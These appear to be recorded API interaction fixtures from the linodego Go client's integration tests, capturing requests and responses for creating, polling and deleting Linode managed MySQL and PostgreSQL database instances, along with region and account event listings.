"mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "646" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml000066400000000000000000024776511455402072200330700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-def","region":"ap-west","type":"g6-nanode-1","engine":"postgresql/14.6","allow_list":["203.0.113.1","192.0.1.0/24"],"cluster_size":3,"replication_type":"asynch"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: body: '{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "provisioning", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "581" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", 